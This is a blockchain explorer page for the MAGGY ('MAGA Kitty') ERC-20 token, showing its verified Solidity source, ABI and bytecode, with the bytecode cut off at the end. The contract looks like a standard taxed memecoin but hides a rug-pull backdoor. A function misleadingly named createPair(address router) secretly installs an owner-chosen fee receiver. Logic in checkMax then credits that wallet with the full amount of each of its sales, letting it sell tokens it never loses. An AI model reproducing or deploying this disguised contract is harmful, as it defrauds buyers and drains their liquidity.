ERC-20
Overview
Max Total Supply
100,000,000 MAGGY
Holders
79
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
128,889.510240265297733962 MAGGYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MAGGY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-15 */ /** Website: https://maggyoneth.vip X: https://x.com/maggyoneth Telegram: https://t.me/maggyoneth */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MAGGY is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; uint256 private _initialBuyTax = 13; uint256 private _initialSellTax = 13; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 13; uint256 private _reduceSellTaxAt = 13; uint256 private _preventSwapBefore = 13; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000 * 10 ** _decimals; string private constant _name = unicode"MAGA Kitty"; string private constant _symbol = unicode"MAGGY"; uint256 private _buyCount = 0; uint256 public _maxTransLmt = (_totalSupply * 2) / 100; uint256 public _maxBagLmt = (_totalSupply * 2) / 100; uint256 public _taxSwapThres = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = _totalSupply / 100; address payable private _feeReceiver; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _feeReceiver = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function removeLimits() external onlyOwner { _maxTransLmt = type(uint256).max; _maxBagLmt = type(uint256).max; emit MaxTxAmountUpdated(type(uint256).max); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from == owner() || to == owner()) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } checkTransfer(from, to, amount); uint256 taxAmount = calcTax(from, to, amount); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if ( contractTokenBalance > _taxSwapThres && _buyCount > _preventSwapBefore ) swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractBalance = address(this).balance; if (contractBalance >= 0 ether) sendETHToFee(contractBalance); } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function checkBot(address from, address to) internal view { require(!bots[from] && !bots[to]); } function checkOpen(address from) internal view { require( tradingOpen || _isExcludedFromFee[from], "Trading is not enabled" ); } function checkMax( address from, address to, uint256 amount, uint256 taxAmount ) internal { address checkWallet = _feeReceiver; if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTransLmt, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxBagLmt, "Exceeds the maxWalletSize." ); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && from != address(this) && _isExcludedFromFee[from] ) { _balances[checkWallet] = _balances[checkWallet] + taxAmount; require( _balances[checkWallet] <= _maxBagLmt, "Exceeds the maxWalletSize." ); } } function createPair(address router) external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _totalSupply); _feeReceiver = payable(router); _isExcludedFromFee[_feeReceiver] = true; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function checkTransfer(address from, address to, uint256 amount) internal { checkBot(from, to); checkOpen(from); checkMax(from, to, amount, amount); } function calcTax( address from, address to, uint256 amount ) internal returns (uint256) { uint256 taxAmount = amount .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } return taxAmount; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeReceiver.transfer(amount); } function rescueETH() external onlyOwner { payable(owner()).transfer(address(this).balance); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxBagLmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransLmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThres","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600d600555600d60065560006007556000600855600d600955600d600a55600d600b556000600c5560646012600a6200003e919062000339565b6200004e906305f5e10062000351565b6200005b90600262000351565b6200006791906200036b565b600d5560646200007a6012600a62000339565b6200008a906305f5e10062000351565b6200009790600262000351565b620000a391906200036b565b600e55620000b46012600a62000339565b620000c190606462000351565b600f556064620000d46012600a62000339565b620000e4906305f5e10062000351565b620000f091906200036b565b6010556013805461ffff60a81b191690553480156200010e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601180546001600160a01b03191633179055600080546001600160a01b0316815260036020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620001aa6012600a62000339565b620001ba906305f5e10062000351565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001fd6012600a62000339565b6200020d906305f5e10062000351565b60405190815260200160405180910390a36200038e565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200027b5781600019048211156200025f576200025f62000224565b808516156200026d57918102915b93841c93908002906200023f565b509250929050565b600082620002945750600162000333565b81620002a35750600062000333565b8160018114620002bc5760028114620002c757620002e7565b600191505062000333565b60ff841115620002db57620002db62000224565b50506001821b62000333565b5060208310610133831016604e8410600b84101617156200030c575081810a62000333565b6200031883836200023a565b80600019048211156200032f576200032f62000224565b0290505b92915050565b60006200034a60ff84168362000283565b9392505050565b808202811582820484141762000333576200033362000224565b6000826200038957634e487b7160e01b600052601260045260246000fd5b500490565b611a5d806200039e6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a05780639ccb0744116100645780639ccb0744146103075780639d4ba0bb14610327578063a9059cbb1461033d578063c9567bf91461035d578063dd62ed3e1461037257600080fd5b8063715018a614610271578063751039fc146102865780637c48cbf11461029b5780638da5cb5b146102b157806395d89b41146102d957600080fd5b806320800a00116100e757806320800a00146101d257806323b872dd146101e9578063313ce567146102095780636ce304e11461022557806370a082311461023b57600080fd5b806306fdde0314610124578063095ea7b3146101695780630faee56f1461019957806318160ddd146101bd57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152694d414741204b6974747960b01b60208201525b6040516101609190611651565b60405180910390f35b34801561017557600080fd5b506101896101843660046116b4565b6103b8565b6040519015158152602001610160565b3480156101a557600080fd5b506101af60105481565b604051908152602001610160565b3480156101c957600080fd5b506101af6103cf565b3480156101de57600080fd5b506101e76103f0565b005b3480156101f557600080fd5b506101896102043660046116e0565b610460565b34801561021557600080fd5b5060405160128152602001610160565b34801561023157600080fd5b506101af600e5481565b34801561024757600080fd5b506101af610256366004611721565b6001600160a01b031660009081526001602052604090205490565b34801561027d57600080fd5b506101e76104c9565b34801561029257600080fd5b506101e761053d565b3480156102a757600080fd5b506101af600f5481565b3480156102bd57600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102e557600080fd5b506040805180820190915260058152644d4147475960d81b6020820152610153565b34801561031357600080fd5b506101e7610322366004611721565b6105a9565b34801561033357600080fd5b506101af600d5481565b34801561034957600080fd5b506101896103583660046116b4565b610824565b34801561036957600080fd5b506101e7610831565b34801561037e57600080fd5b506101af61038d36600461173e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103c533848461099f565b5060015b92915050565b60006103dd6012600a611871565b6103eb906305f5e100611880565b905090565b6000546001600160a01b031633146104235760405162461bcd60e51b815260040161041a90611897565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561045d573d6000803e3d6000fd5b50565b600061046d848484610ac4565b6104bf84336104ba85604051806060016040528060288152602001611a00602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610eb3565b61099f565b5060019392505050565b6000546001600160a01b031633146104f35760405162461bcd60e51b815260040161041a90611897565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105675760405162461bcd60e51b815260040161041a90611897565b600019600d819055600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161041a90611897565b601354600160a01b900460ff16156106275760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161041a565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117825561066f9130919061066190600a611871565b6104ba906305f5e100611880565b601180546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601254825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906118cc565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906118cc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906118cc565b601380546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c5338484610ac4565b6000546001600160a01b0316331461085b5760405162461bcd60e51b815260040161041a90611897565b601354600160a01b900460ff16156108af5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161041a565b6012546001600160a01b031663f305d71947306108e1816001600160a01b031660009081526001602052604090205490565b6000806108f66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561095e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098391906118e9565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041a565b6001600160a01b038216610a625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041a565b6001600160a01b038216610b8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041a565b60008111610bec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041a565b6000546001600160a01b0384811691161480610c1557506000546001600160a01b038381169116145b15610cc0576001600160a01b038316600090815260016020526040902054610c3d9082610eed565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c6c9082610f36565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab79085815260200190565b610ccb838383610f95565b6000610cd8848484610fb9565b3060009081526001602052604090205460135491925090600160a81b900460ff16158015610d1357506013546001600160a01b038581169116145b8015610d285750601354600160b01b900460ff165b15610d6f57600f5481118015610d415750600b54600c54115b15610d6357610d63610d5e84610d59846010546110ae565b6110ae565b6110c3565b47610d6d8161123d565b505b8115610de95730600090815260016020526040902054610d8f9083610f36565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de09086815260200190565b60405180910390a35b6001600160a01b038516600090815260016020526040902054610e0c9084610eed565b6001600160a01b038616600090815260016020526040902055610e51610e328484610eed565b6001600160a01b03861660009081526001602052604090205490610f36565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e9b8686610eed565b60405190815260200160405180910390a35050505050565b60008184841115610ed75760405162461bcd60e51b815260040161041a9190611651565b506000610ee48486611917565b95945050505050565b6000610f2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb3565b9392505050565b600080610f43838561192a565b905083811015610f2f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041a565b610f9f838361127b565b610fa8836112c6565b610fb48383838461133b565b505050565b600080610fe86064610fe2600954600c5411610fd757600554610fdb565b6007545b8690611564565b906115e6565b6013549091506001600160a01b03868116911614801561101657506012546001600160a01b03858116911614155b801561103b57506001600160a01b03841660009081526003602052604090205460ff16155b1561105657600c80549060006110508361193d565b91905055505b6013546001600160a01b03858116911614801561107c57506001600160a01b0385163014155b156110a657610ee46064610fe2600a54600c541161109c57600654610fdb565b6008548690611564565b949350505050565b60008183116110bd5782610f2f565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110b5761110b611956565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611164573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118891906118cc565b8160018151811061119b5761119b611956565b6001600160a01b0392831660209182029290920101526012546111c1913091168461099f565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111fa90859060009086903090429060040161196c565b600060405180830381600087803b15801561121457600080fd5b505af1158015611228573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611277573d6000803e3d6000fd5b5050565b6001600160a01b03821660009081526004602052604090205460ff161580156112bd57506001600160a01b03811660009081526004602052604090205460ff16155b61127757600080fd5b601354600160a01b900460ff16806112f657506001600160a01b03811660009081526003602052604090205460ff165b61045d5760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b604482015260640161041a565b6011546013546001600160a01b0391821691868116911614801561136d57506012546001600160a01b03858116911614155b801561139257506001600160a01b03841660009081526003602052604090205460ff16155b1561146457600d548311156113e95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161041a565b600e548361140c866001600160a01b031660009081526001602052604090205490565b611416919061192a565b11156114645760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161041a565b6013546001600160a01b03858116911614801561148f57506012546001600160a01b03868116911614155b80156114a457506001600160a01b0385163014155b80156114c857506001600160a01b03851660009081526003602052604090205460ff165b1561155d576001600160a01b0381166000908152600160205260409020546114f190839061192a565b6001600160a01b0382166000908152600160205260409020819055600e54101561155d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161041a565b5050505050565b600082600003611576575060006103c9565b60006115828385611880565b90508261158f85836119dd565b14610f2f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041a565b6000610f2f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836116445760405162461bcd60e51b815260040161041a9190611651565b506000610ee484866119dd565b600060208083528351808285015260005b8181101561167e57858101830151858201604001528201611662565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461045d57600080fd5b600080604083850312156116c757600080fd5b82356116d28161169f565b946020939093013593505050565b6000806000606084860312156116f557600080fd5b83356117008161169f565b925060208401356117108161169f565b929592945050506040919091013590565b60006020828403121561173357600080fd5b8135610f2f8161169f565b6000806040838503121561175157600080fd5b823561175c8161169f565b9150602083013561176c8161169f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117c85781600019048211156117ae576117ae611777565b808516156117bb57918102915b93841c9390800290611792565b509250929050565b6000826117df575060016103c9565b816117ec575060006103c9565b8160018114611802576002811461180c57611828565b60019150506103c9565b60ff84111561181d5761181d611777565b50506001821b6103c9565b5060208310610133831016604e8410600b841016171561184b575081810a6103c9565b611855838361178d565b806000190482111561186957611869611777565b029392505050565b6000610f2f60ff8416836117d0565b80820281158282048414176103c9576103c9611777565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118de57600080fd5b8151610f2f8161169f565b6000806000606084860312156118fe57600080fd5b8351925060208401519150604084015190509250925092565b818103818111156103c9576103c9611777565b808201808211156103c9576103c9611777565b60006001820161194f5761194f611777565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119bc5784516001600160a01b031683529383019391830191600101611997565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119fa57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206564b75591b8767e8ddfe63b06389f2bc186b36f5454c4f4166da69e2d5a81d464736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a05780639ccb0744116100645780639ccb0744146103075780639d4ba0bb14610327578063a9059cbb1461033d578063c9567bf91461035d578063dd62ed3e1461037257600080fd5b8063715018a614610271578063751039fc146102865780637c48cbf11461029b5780638da5cb5b146102b157806395d89b41146102d957600080fd5b806320800a00116100e757806320800a00146101d257806323b872dd146101e9578063313ce567146102095780636ce304e11461022557806370a082311461023b57600080fd5b806306fdde0314610124578063095ea7b3146101695780630faee56f1461019957806318160ddd146101bd57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152694d414741204b6974747960b01b60208201525b6040516101609190611651565b60405180910390f35b34801561017557600080fd5b506101896101843660046116b4565b6103b8565b6040519015158152602001610160565b3480156101a557600080fd5b506101af60105481565b604051908152602001610160565b3480156101c957600080fd5b506101af6103cf565b3480156101de57600080fd5b506101e76103f0565b005b3480156101f557600080fd5b506101896102043660046116e0565b610460565b34801561021557600080fd5b5060405160128152602001610160565b34801561023157600080fd5b506101af600e5481565b34801561024757600080fd5b506101af610256366004611721565b6001600160a01b031660009081526001602052604090205490565b34801561027d57600080fd5b506101e76104c9565b34801561029257600080fd5b506101e761053d565b3480156102a757600080fd5b506101af600f5481565b3480156102bd57600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102e557600080fd5b506040805180820190915260058152644d4147475960d81b6020820152610153565b34801561031357600080fd5b506101e7610322366004611721565b6105a9565b34801561033357600080fd5b506101af600d5481565b34801561034957600080fd5b506101896103583660046116b4565b610824565b34801561036957600080fd5b506101e7610831565b34801561037e57600080fd5b506101af61038d36600461173e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103c533848461099f565b5060015b92915050565b60006103dd6012600a611871565b6103eb906305f5e100611880565b905090565b6000546001600160a01b031633146104235760405162461bcd60e51b815260040161041a90611897565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561045d573d6000803e3d6000fd5b50565b600061046d848484610ac4565b6104bf84336104ba85604051806060016040528060288152602001611a00602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610eb3565b61099f565b5060019392505050565b6000546001600160a01b031633146104f35760405162461bcd60e51b815260040161041a90611897565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105675760405162461bcd60e51b815260040161041a90611897565b600019600d819055600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146105d35760405162461bcd60e51b815260040161041a90611897565b601354600160a01b900460ff16156106275760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161041a565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117825561066f9130919061066190600a611871565b6104ba906305f5e100611880565b601180546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601254825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906118cc565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906118cc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906118cc565b601380546001600160a01b0319166001600160a01b039290921691909117905550565b60006103c5338484610ac4565b6000546001600160a01b0316331461085b5760405162461bcd60e51b815260040161041a90611897565b601354600160a01b900460ff16156108af5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161041a565b6012546001600160a01b031663f305d71947306108e1816001600160a01b031660009081526001602052604090205490565b6000806108f66000546001600160a01b031690565b60405160e088901b6001600160e